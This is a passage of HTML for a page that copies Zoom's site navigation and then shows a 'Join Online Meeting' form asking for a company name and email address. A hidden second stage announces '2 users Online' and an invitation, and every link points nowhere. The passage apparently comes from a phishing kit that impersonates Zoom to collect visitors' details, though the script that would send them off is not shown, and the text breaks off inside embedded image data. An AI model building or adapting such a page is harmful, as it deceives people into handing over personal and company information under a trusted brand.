                                  >Government</a
                                >
                                <p class="solutionsLinkDesc">
                                  Improving collaboration between agencies,
                                  ministries, and constituents
                                </p>
                              </li>
                              <li>
                                <a
                                  role="menuitem"
                                  tracking-id="headerWebinars"
                                  tracking-category="NavHeader"
                                  href="#"
                                  >Healthcare</a
                                >
                                <p class="solutionsLinkDesc">
                                  Connecting care, collaboration, and medical
                                  innovation
                                </p>
                              </li>
                              <li>
                                <a
                                  role="menuitem"
                                  tracking-id="headerWebinars"
                                  tracking-category="NavHeader"
                                  href="#"
                                  >Manufacturing</a
                                >
                                <p class="solutionsLinkDesc">
                                  Real-time communication, anywhere in the world
                                </p>
                              </li>
                              <li>
                                <a
                                  role="menuitem"
                                  tracking-id="headerWebinars"
                                  tracking-category="NavHeader"
                                  href="#"
                                  >Retail</a
                                >
                                <p class="solutionsLinkDesc">
                                  Bridging the in-store and online experiences
                                </p>
                              </li>
                            </ul>
                            <hr
                              role="presentation"
                              class="mobile-newnav-dropdown-divider"
                            />
                          </div>
                          <div class="main_col second_column">
                            <div class="mainSection">
                              <span class="columnTitle font-happy"
                                >Services</span
                              >
                              <p class="solutionsDescription">
                                Expert support and services for all your design,
                                strategy, implementation, event, and hardware
                                needs.
                              </p>
                            </div>
                            <ul class="solutionSectionLinks">
                              <li>
                                <a
                                  role="menuitem"
                                  tracking-id="headerWebinars"
                                  tracking-category="NavHeader"
                                  href="#"
                                  >Global Services</a
                                >
                                <p class="solutionsLinkDesc">
                                  Expert consulting, technical delivery,
                                  dedicated support, and online event management
                                </p>
                              </li>
                              <li>
                                <a
                                  role="menuitem"
                                  tracking-id="headerWebinars"
                                  tracking-category="NavHeader"
                                  href="#"
                                  >Hardware as a Service</a
                                >
                                <p class="solutionsLinkDesc">
                                  Flexible subscription plans for hardware
                                </p>
                              </li>
                              <li>
                                <a role="menuitem" href="#"
                                  >Customer Managed Key</a
                                >
                                <p class="solutionsLinkDesc">
                                  Protect certain data at rest with your own
                                  encryption keys
                                </p>
                              </li>
                            </ul>
                            <hr
                              role="presentation"
                              class="mobile-newnav-dropdown-divider"
                            />
                          </div>
                          <div class="main_col third_column">
                            <div class="mainSection">
                              <span class="columnTitle font-happy"
                                >Developer Platform</span
                              >
                              <p class="solutionsDescription">
                                An open platform that allows developers to build
                                Zoom apps and integrations.
                              </p>
                            </div>
                            <ul class="solutionSectionLinks">
                              <li>
                                <a
                                  role="menuitem"
                                  tracking-id="headerWebinars"
                                  tracking-category="NavHeader"
                                  href="#"
                                  >Marketplace</a
                                >
                                <p class="solutionsLinkDesc">
                                  Explore over 1,500 apps in Zoom App
                                  Marketplace
                                </p>
                              </li>
                              <li>
                                <a
                                  role="menuitem"
                                  tracking-id="headerWebinars"
                                  tracking-category="NavHeader"
                                  href="#"
                                  >Docs &amp; Guides</a
                                >
                                <p class="solutionsLinkDesc">
                                  Documentation for building on Zoom’s platform
                                  using APIs, Webhooks, and SDKs
                                </p>
                              </li>
                              <li>
                                <a
                                  role="menuitem"
                                  tracking-id="headerWebinars"
                                  tracking-category="NavHeader"
                                  href="#"
                                  >Developer Tools</a
                                >
                                <p class="solutionsLinkDesc">
                                  Resources that help developers evaluate &amp;
                                  build with our solutions
                                </p>
                              </li>
                              <li>
                                <a
                                  role="menuitem"
                                  tracking-id="headerWebinars"
                                  tracking-category="NavHeader"
                                  href="#"
                                  >Developer Forum</a
                                >
                                <p class="solutionsLinkDesc">
                                  Post your questions and get help from our
                                  developer community
                                </p>
                              </li>
                            </ul>
                            <hr
                              role="presentation"
                              class="mobile-newnav-dropdown-divider"
                            />
                          </div>
                          <div class="main_col fourth_column">
                            <div class="mainSection">
                              <span class="columnTitle font-happy"
                                >Partners</span
                              >
                              <p class="solutionsDescription">
                                Zoom Partners bring Zoom’s communications
                                platform to market through alliance, sales, and
                                service partnerships.
                              </p>
                            </div>
                            <ul class="solutionSectionLinks">
                              <li>
                                <a
                                  role="menuitem"
                                  tracking-id="headerWebinars"
                                  tracking-category="NavHeader"
                                  href="#"
                                  >Partner Solutions</a
                                >
                                <p class="solutionsLinkDesc">
                                  Explore Zoom’s technology ecosystem
                                </p>
                              </li>
                              <li>
                                <a
                                  role="menuitem"
                                  tracking-id="headerWebinars"
                                  tracking-category="NavHeader"
                                  href="#"
                                  >Find a Partner</a
                                >
                                <p class="solutionsLinkDesc">
                                  Find a trusted Partner
                                </p>
                              </li>
                              <li>
                                <a
                                  role="menuitem"
                                  tracking-id="headerWebinars"
                                  tracking-category="NavHeader"
                                  href="#"
                                  >Become a Partner</a
                                >
                                <p class="solutionsLinkDesc">
                                  Learn about Zoom’s Partner Programs
                                </p>
                              </li>
                              <li>
                                <a
                                  role="menuitem"
                                  tracking-id="headerWebinars"
                                  tracking-category="NavHeader"
                                  href="#"
                                  >Partner Portal</a
                                >
                                <p class="solutionsLinkDesc">
                                  Access marketing &amp; sales resources
                                </p>
                              </li>
                              <li>
                                <a
                                  role="menuitem"
                                  tracking-id="headerWebinars"
                                  tracking-category="NavHeader"
                                  href="#"
                                  >Partner Learning Center</a
                                >
                                <p class="solutionsLinkDesc">
                                  Log in to the Partner Portal and click 'Learn’
                                </p>
                              </li>
                            </ul>
                          </div>
                        </div>
                      </div>
                    </li>
                    <li
                      role="menuitem"
                      class="dropdown new-resources"
                      id="resources"
                      aria-haspopup="true"
                    >
                      <button
                        id="btnNewResources"
                        data-toggle="dropdown"
                        aria-expanded="false"
                      >
                        Resources<span class="whiteBarArrow arrow"
                          ><img alt="" src="#"
                        /></span>
                      </button>
                      <div
                        class="dropdown-menu top-nav-menu-items"
                        role="menubar"
                      >
                        <div class="navBarMenuItems">
                          <div class="articleSectionMobile">
                            <div class="articleSubSectionNew">
                              <img src="#" />
                              <div>
                                <h3 class="desktopView font-happy">
                                  Download Zoom Client
                                </h3>
                                <ul>
                                  <li>
                                    <a
                                      class="mobileAndTabView"
                                      role="menuitem"
                                      tracking-id="headerDownload"
                                      tracking-category="NavHeader"
                                      href="#"
                                      target="_blank"
                                      >Download Zoom Client</a
                                    >
                                  </li>
                                </ul>
                                <p class="desktopView">
                                  Keep your Zoom client up to date to access the
                                  latest features.
                                </p>
                                <ul>
                                  <li>
                                    <a
                                      class="desktopView"
                                      role="menuitem"
                                      tracking-id="headerDownload"
                                      tracking-category="NavHeader"
                                      href="#"
                                      target="_blank"
                                      >Download Center</a
                                    >
                                  </li>
                                </ul>
                              </div>
                            </div>
                            <div class="articleSubSectionNew">
                              <img src="#" alt="Zoom Virtual Backgrounds" />
                              <div>
                                <h3 class="desktopView font-happy">
                                  Zoom Virtual Backgrounds
                                </h3>
                                <ul>
                                  <li>
                                    <a
                                      class="mobileAndTabView"
                                      role="menuitem"
                                      href="#"
                                      target="_blank"
                                      >Zoom Virtual Backgrounds</a
                                    >
                                  </li>
                                </ul>
                                <p class="desktopView">
                                  Download hi-res images and animations to
                                  elevate your next Zoom meeting.
                                </p>
                                <ul>
                                  <li>
                                    <a
                                      class="desktopView"
                                      role="menuitem"
                                      href="#"
                                      target="_blank"
                                      >Browse backgrounds</a
                                    >
                                  </li>
                                </ul>
                              </div>
                            </div>
                          </div>
                          <div class="nav-dropdown-menu-contents">
                            <div class="main_col first_column">
                              <div class="mainSection">
                                <span class="columnTitle font-happy"
                                  >Explore</span
                                >
                                <p class="resourceDescription">
                                  Discover new ways to use Zoom solutions to
                                  power your modern workforce.
                                </p>
                              </div>
                              <ul class="resourceSectionLinks">
                                <li>
                                  <a
                                    role="menuitem"
                                    tracking-id="headerBlog"
                                    tracking-category="NavHeader"
                                    href="#"
                                    aria-describedby="headerBlog"
                                    >Zoom Blog</a
                                  >
                                </li>
                                <li><a href="#">Resource Library</a></li>
                                <li>
                                  <a
                                    tracking-id="headerWebinars"
                                    tracking-category="NavHeader"
                                    href="#"
                                    >Webinars &amp; Events</a
                                  >
                                </li>
                                <li>
                                  <a
                                    tracking-id="headerStories"
                                    tracking-category="NavHeader"
                                    href="#"
                                    >Customer Stories</a
                                  >
                                </li>
                                <li>
                                  <a
                                    role="menuitem"
                                    tracking-id="headerStories"
                                    tracking-category="NavHeader"
                                    href="#"
                                    >Zoom Trust Center</a
                                  >
                                </li>
                              </ul>
                              <hr
                                role="presentation"
                                class="mobile-newnav-dropdown-divider"
                              />
                            </div>
                            <div class="main_col second_column">
                              <div class="mainSection">
                                <span class="columnTitle font-happy"
                                  >Learn</span
                                >
                                <p class="resourceDescription">
                                  Access expert-led tutorials on Zoom products
                                  and features.
                                </p>
                              </div>
                              <ul class="resourceSectionLinks">
                                <li>
                                  <a
                                    href="#"
                                    target="_blank"
                                    tracking-id="headerLearn"
                                    tracking-category="NavHeader"
                                    aria-describedby="headerLearn"
                                    >Learning Center</a
                                  >
                                </li>
                                <li>
                                  <a
                                    tracking-id="headerTutorials"
                                    tracking-category="NavHeader"
                                    href="#"
                                    >How-to Videos</a
                                  >
                                </li>
                              </ul>
                              <hr
                                role="presentation"
                                class="mobile-newnav-dropdown-divider"
                              />
                            </div>
                            <div class="main_col third_column">
                              <div class="mainSection">
                                <span class="columnTitle font-happy"
                                  >Connect</span
                                >
                                <p class="resourceDescription">
                                  Network with other Zoom users, and share your
                                  own product and industry insights.
                                </p>
                              </div>
                              <ul class="resourceSectionLinks">
                                <li>
                                  <a
                                    href="#"
                                    tracking-id="headerCommunity"
                                    tracking-category="NavHeader"
                                    aria-describedby="headerCommunity"
                                    >Zoom Community</a
                                  >
                                </li>
                                <li><a href="#">Developer Forum</a></li>
                                <li><a href="#">Partner Portal</a></li>
                              </ul>
                              <hr
                                role="presentation"
                                class="mobile-newnav-dropdown-divider"
                              />
                            </div>
                            <div class="main_col fourth_column">
                              <div class="mainSection">
                                <span class="columnTitle font-happy"
                                  >Support</span
                                >
                                <p class="resourceDescription">
                                  Get documentation on deploying, managing, and
                                  using the Zoom platform.
                                </p>
                              </div>
                              <ul class="resourceSectionLinks">
                                <li>
                                  <a
                                    href="#"
                                    tracking-id="headerSupport"
                                    tracking-category="NavHeader"
                                    aria-describedby="headerSupport"
                                    >Customer Support</a
                                  >
                                </li>
                                <li><a href="#">Developer Support</a></li>
                                <li><a href="#">Premier Support</a></li>
                              </ul>
                            </div>
                          </div>
                          <div class="articleSection">
                            <div class="articleSubSectionNew">
                              <img src="#" alt="Download Zoom Client" />
                              <div>
                                <h3 class="desktopView font-happy">
                                  Download Zoom Client
                                </h3>
                                <ul>
                                  <li>
                                    <a
                                      class="mobileAndTabView"
                                      role="menuitem"
                                      tracking-id="headerDownload"
                                      tracking-category="NavHeader"
                                      href="#"
                                      target="_blank"
                                      >Download Zoom Client</a
                                    >
                                  </li>
                                </ul>
                                <p class="desktopView">
                                  Keep your Zoom client up to date to access the
                                  latest features.
                                </p>
                                <ul>
                                  <li>
                                    <a
                                      class="desktopView"
                                      tracking-id="headerDownload"
                                      tracking-category="NavHeader"
                                      href="#"
                                      target="_blank"
                                      >Download Center</a
                                    >
                                  </li>
                                </ul>
                              </div>
                            </div>
                            <div class="articleSubSectionNew">
                              <img src="#" alt="Zoom Virtual Backgrounds" />
                              <div>
                                <h3 class="desktopView font-happy">
                                  Zoom Virtual Backgrounds
                                </h3>
                                <ul>
                                  <li>
                                    <a
                                      class="mobileAndTabView"
                                      role="menuitem"
                                      href="#"
                                      target="_blank"
                                      >Zoom Virtual Backgrounds</a
                                    >
                                  </li>
                                </ul>
                                <p class="desktopView">
                                  Download hi-res images and animations to
                                  elevate your next Zoom meeting.
                                </p>
                                <ul>
                                  <li>
                                    <a
                                      class="desktopView"
                                      href="#"
                                      target="_blank"
                                      >Browse backgrounds</a
                                    >
                                  </li>
                                </ul>
                              </div>
                            </div>
                          </div>
                        </div>
                      </div>
                    </li>
                    <li role="link">
                      <a class="top-pricing-new" href="#"
                        >Plans &amp; Pricing</a
                      >
                    </li>
                  </ul>
                  <ul
                    class="nav navbar-nav navbar-right"
                    role="navigation"
                    aria-label="meetings"
                  >
                    <li role="none">
                      <a
                        role="menuitem"
                        id="btnJoinMeeting"
                        tracking-id="headerMenuJoin"
                        tracking-category="NavHeader"
                        class="hidden-xs joinameeting light"
                        href="#"
                        >Join</a
                      >
                    </li>
                    <li role="none">
                      <div
                        id="dropdown-hostmeeting"
                        class="dropdown hidden-xs"
                        aria-haspopup="true"
                      >
                        <a
                          id="btnLogInHostMeeting"
                          data-toggle="dropdown"
                          href="javascript:;"
                          class="hostmeeting joinHost"
                          aria-expanded="false"
                          >Host <span class="arrow"><img alt="" src="#" /></span
                        ></a>
                        <ul id="hostMeetingDropdown" class="dropdown-menu">
                          <li role="none">
                            <a
                              role="menuitem"
                              tracking-id="headerMenuHostVideoOFF"
                              tracking-category="NavHeader"
                              href="#"
                              >With Video Off</a
                            >
                          </li>
                          <li role="none">
                            <a
                              role="menuitem"
                              tracking-id="headerMenuHostVideoON"
                              tracking-category="NavHeader"
                              href="#"
                              >With Video On</a
                            >
                          </li>
                          <li role="none">
                            <a
                              role="menuitem"
                              tracking-id="headerMenuScreenShare"
                              tracking-category="NavHeader"
                              href="#"
                              >Screen Share Only</a
                            >
                          </li>
                        </ul>
                      </div>
                    </li>
                    <li role="none">
                      <a
                        id="btnWhiteboards"
                        tracking-id="headerMenuWhiteboards"
                        tracking-category="NavHeader"
                        class="joinameeting light hidden-xs"
                        href="#"
                        >Whiteboard</a
                      >
                    </li>
                    <li role="none">
                      <ul
                        class="nav navbar-nav visible-xs mobile-newmenu-items"
                        role="menubar"
                      >
                        <li role="none">
                          <a role="menuitem" href="#" target="_blank"
                            >Support</a
                          >
                        </li>
                        <li role="button">
                          <a
                            role="menuitem"
                            href="tel:1.888.799.9666"
                            aria-label="Call 1.888.799.9666"
                            class="support-phone"
                            ><span class="mobile-phone"></span>1.888.799.9666</a
                          >
                        </li>
                        <li role="none">
                          <a role="menuitem" href="#">Request a Demo</a>
                        </li>
                      </ul>
                    </li>
                    <li></li>
                    <ul
                      class="nav navbar-nav visible-xs"
                      id="mobileButtons"
                      role="menubar"
                    ></ul>
                  </ul>
                </div>
              </div>
            </nav>
          </div>
          <div id="header_login" class="hideme">
            <ul>
              <li class="visible-xs divider" role="presentation"></li>
              <li role="none" class="signin">
                <a class="link-myaccount" href="#">My Account</a>
              </li>
            </ul>
          </div>
        </div>
      </div>
      <main>
        <div
          id="content_container"
          style="min-height: 753px"
          class="zoom-newcontent"
        >
          <div
            id="content_success_msg"
            role="alert"
            aria-live="assertive"
            class="alert alert-success hideme zoom-newmessage"
          ></div>
          <div id="content" class="main-content">
            <div class="mini-layout" id="join-conf">



              <!-- the first part of the page showing -->

              <div
              id="firstpart"
              class="mini-layout-body"
            >
              <div
                class="page-header-mobile"
                style="display: block; text-align: center"
              >
                <h1 style="font-size: 24px">Join Online Meeting</h1>
                <div>
                  <p>Company Name and Email</p>
                </div>
              </div>
              <div class="box">
                <div class="form-group confno" style="margin-bottom: 16px">
                  <div class="controls">
                    <br />
                    <input
                    style="width: 100%; height: 50px"
                    aria-describedby="rule-tip"
                    id="companyName"
                    type="text"
                    class="form-control input-lg confno"
                    autocomplete="off"
                    maxlength="80"
                    placeholder="Enter Company Name"
                  /><br />
                    <input
                      style="width: 100%; height: 50px"
                      aria-describedby="rule-tip"
                      id="email"
                      type="text"
                      class="form-control input-lg confno"
                      autocomplete="off"
                      maxlength="80"
                      placeholder="Enter Email "
                    /><br />

                    <div
                    id="errorMessage"
                    class="error-message11"
                    style="display: none"
                  >
                    All field is required
                  </div>
      
                  <div
                    id="errorMessageEmail"
                    class="error-message11"
                    style="display: none"
                  >
                    Please enter a valid email
                  </div>
      
    
                    <div id="errorContainer" class="wc-new-syle">

                    </div>
                  </div>
                </div>
                <div class="controls wc-new-syle">
                  <button
                    id="submitBtn1"
                    role="button"
                    type="button"
                    style="
                      height: 56px;
                      color: white;
                      line-height: 44px;
                      width: 100%;
                      background-color: rgb(14, 113, 235);
                      opacity: 1;
                      border-color: rgb(14, 113, 235);
                      color: rgb(255, 255, 255);
                    "
                    class="btn btn-primary user submit"
                  >
                    Join Meeting
                  </button>
                </div>
              </div>
            </div>








              <!-- showing 2 user online part -->

              <div id="joinpart" style="display: none" class="mini-layout-body">
                <div class="HiddenText">
                  <a id="the-main-content" tabindex="-1"></a>
                </div>
                <div class="page-header" style="text-align: center">
                  <h1 style="font-size: 24px">Join Online Meeting</h1>
                  <p>
                    Welcome <span id="companyNameSecond"></span>, You have been
                    invited to join a meeting
                  </p>
                  <div
                    style="
                      display: flex;
                      align-items: center;
                      justify-content: center;
                    "
                  >
                    <p style="margin-right: 5px">2 users Online</p>
                    <div style="margin-left: 5px" class="online-indicator">
                      <span class="blink"></span>
                    </div>
                  </div>
                </div>
                <div class="box" style="display: flex; align-items: center">
                  <form
                    id="join-form"
                    class="form-vertical"
                    action="javascript:;"
                    style="align-self: center; width: 100%"
                  >
                    <input type="hidden" id="name-picked" value="yaga" /><input
                      type="hidden"
                      id="email-picked"
                    />
                    <div class="form-group confno" style="margin-bottom: 16px">
                      <div
                        class="controls"
                        style="
                          text-align: center;
                          display: flex;
                          justify-content: space-evenly;
                        "
                      >
                        <div style="display: flex; flex-direction: column">
                          <img
                            src="data:image/jpeg;base64,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